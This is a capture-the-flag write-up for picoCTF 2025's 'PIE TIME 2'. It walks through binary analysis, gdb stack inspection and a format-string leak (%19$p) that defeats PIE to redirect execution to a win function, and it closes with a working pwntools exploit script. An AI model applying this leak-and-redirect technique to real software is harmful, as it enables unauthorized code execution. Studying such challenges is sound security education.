PicoCTF 2025 PIE TIME 2
Description
Description given on the challenge:
Can you try to get the flag? I’m not revealing anything anymore!! Additional details will be available after launching your challenge instance.
When the instance is launched, the challenge provides one binayr file and one C source code file.
The challenge and resources can be found on PicoCTF website: PIE TIME 2
Note: I won’t explain how different exploitations work, but I will share references that explains them.
Analysis
Code Analysis
There are three useful functions:
main: callscall_functionscall_functions: reads name and prints it and then reads an address and jumps to that addresswin: Convenient standalone function to be used in the exploit. It simply reads the flag from file and prints it.
Definition of call_functions is:
1
2
3
4
5
6
7
8
9
10
11
12
13
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
Checking compile options:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 'vuln` is the filename of the binary file
file vuln
# vuln: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
# interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=89c0ed5ed3766d1b85809c2bef48b6f5f0ef9364,
# for GNU/Linux 3.2.0, not stripped
checksec --file=vuln
# Output:
# [*] '~/ctf/pico25/vuln'
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# SHSTK: Enabled
# IBT: Enabled
# Stripped: No
Conclusion
- 64bits address space
- Architecture: amd64 (x86-64)
- Position independent execution (PIE) enabled: can’t figure out addresses during runtime (ofcourse without vulnerability)
- Stack code is not executable: Can’t store shellcode on stack and execute it
- Canary is enabled: Prevents RBP override
- Stripped: Not stripped, so it is easier to analyse in debugger
- RELRO: Relocation Read-Only, prevent GOT overwrite
Check Assembly code
Based on the code analysis, we figured that we will need some address, most likely address of win function. Dumping the assembly code:
1
2
3
4
objdump -M intel -D -j .text ./vuln | tee pie2.text | grep 'win>'
# 000000000000136a <win>:
From the extracted assembly code, address of win function: 000000000000136a
Note: these are offsets of instructions in the binary. Actual address will differ during runtime.
Exploit
Approach
- First input for name is used as the first parameter to print function. This means we can use format string vulnerability to leak memory addresses.
- Knowing that we can leak any memory on the stack, now to know exactly which memory location to leak, we know that when a function is called its return address is stored on the stack. So, leaking the return address can help us in calculating the address of other functions.
- Once we know the return address, we can use this return address and the offset for
winfunction to generate the actual address of the win function. We can do this, because last 3 bytes is the offset of instructions that stays the same in static code and dynamic code. - Above address to
winfunction can now be sent as input to the next prompt where the challenge asks for an address - Win the challenge
Debugging
To generate the format string payload, we should know the index of memory location to reveal.
Side note: When I say index they are the index of the word on the stack that we want to leak. Eg. printf("1st index: %X, 2nd index: %X\n", &addr1, &addr2), in this statement, addr1 can be located at index 0 or in rdi or other register, based on the architecture. If it seems confusing, check out the references for related videos.
To know the index of return address (to leak its value), let’s debug the binary:
- We will add the breakpoint in
call_functionsafter it has finished the function prolog. This is because we are waiting for therbp, andrspvalues to be set for current function. Once the
rspvalue is updated, we can print the valuesrspand see at which offset, our return address is located.- Run -
gdb vuln - Below code block shows the interaction inside gdb
- I will skip the analysis of the binary and directly add gdb commands that will show the results in least amount of time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# 1. print call_functions addresses
gdb) disassemble call_functions
Dump of assembler code for function call_functions:
0x00000000000012c7 <+0>: endbr64
0x00000000000012cb <+4>: push rbp
0x00000000000012cc <+5>: mov rbp,rsp
0x00000000000012cf <+8>: sub rsp,0x60
0x00000000000012d3 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000000012dc <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000000012e0 <+25>: xor eax,eax
0x00000000000012e2 <+27>: lea rdi,[rip+0xd45] # 0x202e
0x00000000000012e9 <+34>: mov eax,0x0
0x00000000000012ee <+39>: call 0x1140 <printf@plt>
0x00000000000012f3 <+44>: mov rdx,QWORD PTR [rip+0x2d26] # 0x4020 <stdin@@GLIBC_2.2.5>
...
...
...
# This breakpoint can be anything after "sub rsp,0x60"
(gdb) br *call_functions+39
Breakpoint 1 at 0x12ee
# Run the binary
(gdb) r
Starting program: /home/ainz/ctf/pico25/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x00005555555552ee in call_functions ()
# Print 30 words in hex starting at "rsp"
(gdb) x/30gx $rsp
0x7fffffffe160: 0x00007fffffffe180 0x00007ffff7c92415
0x7fffffffe170: 0x0000000000000000 0x00007ffff7e045c0
0x7fffffffe180: 0x00007fffffffe1c0 0x00007ffff7c8867f
0x7fffffffe190: 0x0000000000001000 0x00007fffffffe2f8
0x7fffffffe1a0: 0x0000000000000001 0x0000000000000000
0x7fffffffe1b0: 0x0000000000000000 0x24f2921239118400
0x7fffffffe1c0: 0x00007fffffffe1d0 0x0000555555555441
0x7fffffffe1d0: 0x00007fffffffe270 0x00007ffff7c2a1ca
0x7fffffffe1e0: 0x00007fffffffe220 0x00007fffffffe2f8
0x7fffffffe1f0: 0x0000000155554040 0x0000555555555400
0x7fffffffe200: 0x00007fffffffe2f8 0x756929ca94cf3b77
0x7fffffffe210: 0x0000000000000001 0x0000000000000000
0x7fffffffe220: 0x0000000000000000 0x00007ffff7ffd000
0x7fffffffe230: 0x756929ca93ef3b77 0x756939b0132d3b77
0x7fffffffe240: 0x00007fff00000000 0x0000000000000000
- One way to identify which address is return address is by finding values that seems big enough to be an address and still smaller that other addresses.
- To clarify, all of these are addresses on stack:
0x00007fffffffe180,0x00007fffffffe1c0, and other values starting with0x00007fffffff - All of these are addresses in the code section:
0x0000555555555441,0x0000555555555400 - This is canary:
0x24f2921239118400 - I will pick
0x0000555555555441as a value to leak. Reason being, this is a return address inmainfunction and I can verify it be checking the disassembly code of the main function. - In the below assembly, we can see that at
143cthere is a call tocall_functionsfunction and when it is called1441will be set as return address. and last 3 digits will always match with the actual return address. - Hence, we can confirm that
0x0000555555555441ends with441which gives us confidence that it is a return address.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0000000000001400 <main>:
1400: f3 0f 1e fa endbr64
1404: 55 push rbp
1405: 48 89 e5 mov rbp,rsp
...
...
...
1432: e8 49 fd ff ff call 1180 <setvbuf@plt>
1437: b8 00 00 00 00 mov eax,0x0
143c: e8 86 fe ff ff call 12c7 <call_functions>
1441: b8 00 00 00 00 mov eax,0x0
1446: 5d pop rbp
1447: c3 ret
1448: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
144f: 00
- Now, to identify the index, try to find a value
idxsuch thatx/gx $rsp + (8 * idx)prints the expected value. Check out the linked format string video in the end to know why. - For our scenario,
idxis13. This is index fromrsp, but for printf, this index depends on calling convention. - For amd64, calling convention is that, first 6 parameters are stored in registers and rest of the params are stored on stack.
- So, the actual index for the return address is
13 + 6 = 19
Payload
- Our first payload will be
%19$p(19 is the index for return address) in response toEnter your name:. It will print the return address - Replace the last 3 characters in the address with
36abecause address offset forwinfunction is000000000000136a - Send the new address as a response to
enter the address to jump to, ex => 0x12345 - Capture the flag
Python script to do the same
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
binary = './vuln'
elf = ELF(binary)
context.binary = binary
p = process(binary)
prompt = p.readuntil(b'name:')
print(prompt.decode())
payload = b'%19$p'
print("Payload:",payload)
p.sendline(payload)
addr_str = p.readline().decode().strip()
addr = list(addr_str)
# print("response addr:",addr, addr_str)
win_offset = hex(elf.symbols['win'])
for i in range(-3, 0):
addr[i] = win_offset[i]
prompt = p.readuntil(b'0x12345: ')
print(prompt.decode())
payload = ''.join(addr).encode()
print("Payload:",payload)
p.sendline(payload)
remaining_text = p.recv()
print(remaining_text.decode())